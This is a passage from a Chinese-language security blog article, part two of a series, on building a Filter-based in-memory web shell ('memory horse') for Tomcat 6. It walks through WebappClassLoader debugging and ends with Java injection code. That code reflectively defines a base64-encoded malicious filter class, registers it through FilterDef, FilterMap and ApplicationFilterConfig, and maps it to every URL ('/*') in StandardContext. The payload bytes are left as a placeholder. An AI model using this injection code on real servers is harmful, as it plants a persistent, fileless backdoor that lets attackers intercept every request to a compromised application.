Java安全之Tomcat6 Filter内存马( 二 )


Java安全之Tomcat6 Filter内存马

文章插图
看到this.findLoadedClass0(name)从resourceEntries也就是classes下各个包中的.class找 , 是否有这个类,有的话直接return 这个entry的loadClass属性
Java安全之Tomcat6 Filter内存马

文章插图
这个属性存储的是该类的class对象,如果这里面有该类名,后面就直接resovleClass了
Java安全之Tomcat6 Filter内存马

文章插图
这里肯定是没有我们的恶意filter,继续往下跟
后面直接调用java.lang.ClassLoader#findLoadedClass来通过ClassLoader去找是否已经加载过该class了
而在这里是直接找到了
Java安全之Tomcat6 Filter内存马

文章插图
查阅开发资料并思考了一下:
这里因为我们之前是通过当前线程上下文加载器把恶意filter给loadClass了,所以这里就是可以找到的
后面随手翻了下classloader的属性,发现在classes属性是存在该filter的class的
Java安全之Tomcat6 Filter内存马

文章插图
那么正好来debug一下当前线程上下文ClassLoader#loadClass的过程
可以看到当前上下文的ClassLoader就是WebappClassLoader,并且此时classes属性里并没有我们的恶意类
Java安全之Tomcat6 Filter内存马

文章插图
而当步过defineClass后 , 当前线程上下文ClassLoader也就是WebappClassLoaderclasses属性中就新增了我们的恶意filter的class
所以后续在getFilter的逻辑中也是可以成功通过
Java安全之Tomcat6 Filter内存马

文章插图
回溯上面的逻辑时 , getFilter方法因为会走到这个else逻辑内,所以最终也是通过WebappClassLoader#loadClass的我们的恶意filter
Java安全之Tomcat6 Filter内存马

文章插图
以上 , 所以因为我们前面调用的是Thread.currentThread().getContextClassLoader()去加载的我们恶意filter类,而tomcat6中getFilter逻辑是通过this.context.getLoader().getClassLoader();去findClass,而这两个ClassLoader又同为WebappClassLoader所以不会存在ClassNotfound的问题 。所以tomcat6中注入filter内存马就不需要先实例化恶意filter存到filterDef中,直接使用Thread.currentThread().getContextClassLoader()defineClass一下恶意filter即可 。
注入内存马的主要代码如下:
Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);var1.setAccessible(true);byte[] var2 = base64decode("base64 str");var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length);try {if (STANDARDCONTET != null) {// 1 反射获取filterDefClass FilterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");Constructor FilterDefconstructor = FilterDefClass.getConstructor(new Class[]{});Object filterDef = FilterDefconstructor.newInstance();// 2 设置filternameMethod setFilterNameMethod = FilterDefClass.getDeclaredMethod("setFilterName", String.class);setFilterNameMethod.invoke(filterDef,filterName);// 3 setFilterClassMethod setFilterClassMethod = FilterDefClass.getDeclaredMethod("setFilterClass", String.class);setFilterClassMethod.invoke(filterDef,Thread.currentThread().getContextClassLoader().loadClass("HiganbanaFilter").getName());// 4 addFilterDefMethod addFilterDef=STANDARDCONTET.getClass().getMethod("addFilterDef", FilterDefClass);addFilterDef.invoke(STANDARDCONTET,filterDef);// 构造FilterMapClass FilterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");Object filterMap =FilterMapClass.newInstance();Method setFilterNameMethod2 = FilterMapClass.getDeclaredMethod("setFilterName", String.class);setFilterNameMethod2.invoke(filterMap,FilterDefClass.getDeclaredMethod("getFilterName").invoke(filterDef));Method setDispatcherMethod = FilterMapClass.getDeclaredMethod("setDispatcher", String.class);setDispatcherMethod.invoke(filterMap,"REQUEST");Method addURLPatternMethod = FilterMapClass.getDeclaredMethod("addURLPattern", String.class);addURLPatternMethod.invoke(filterMap,"/*");Method addFilterMapMethod=STANDARDCONTET.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);addFilterMapMethod.invoke(STANDARDCONTET,filterMap);// 创建filterconfig 并添加到standardcontext.filterconfigs数组里Class filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");Constructor filterConfigCon = filterConfigClass.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef"));filterConfigCon.setAccessible(true);// 实例化ApplicationFilterConfig时触发getFilter方法Object filterConfigObj = filterConfigCon.newInstance(STANDARDCONTET, filterDef);Field filterConfigsField = STANDARDCONTET.getClass().getDeclaredField("filterConfigs");filterConfigsField.setAccessible(true);HashMap filterConfigsMap = (HashMap) filterConfigsField.get(STANDARDCONTET);filterConfigsMap.put(filterName, filterConfigObj);}} catch (Throwable var16) {var16.printStackTrace();}

推荐阅读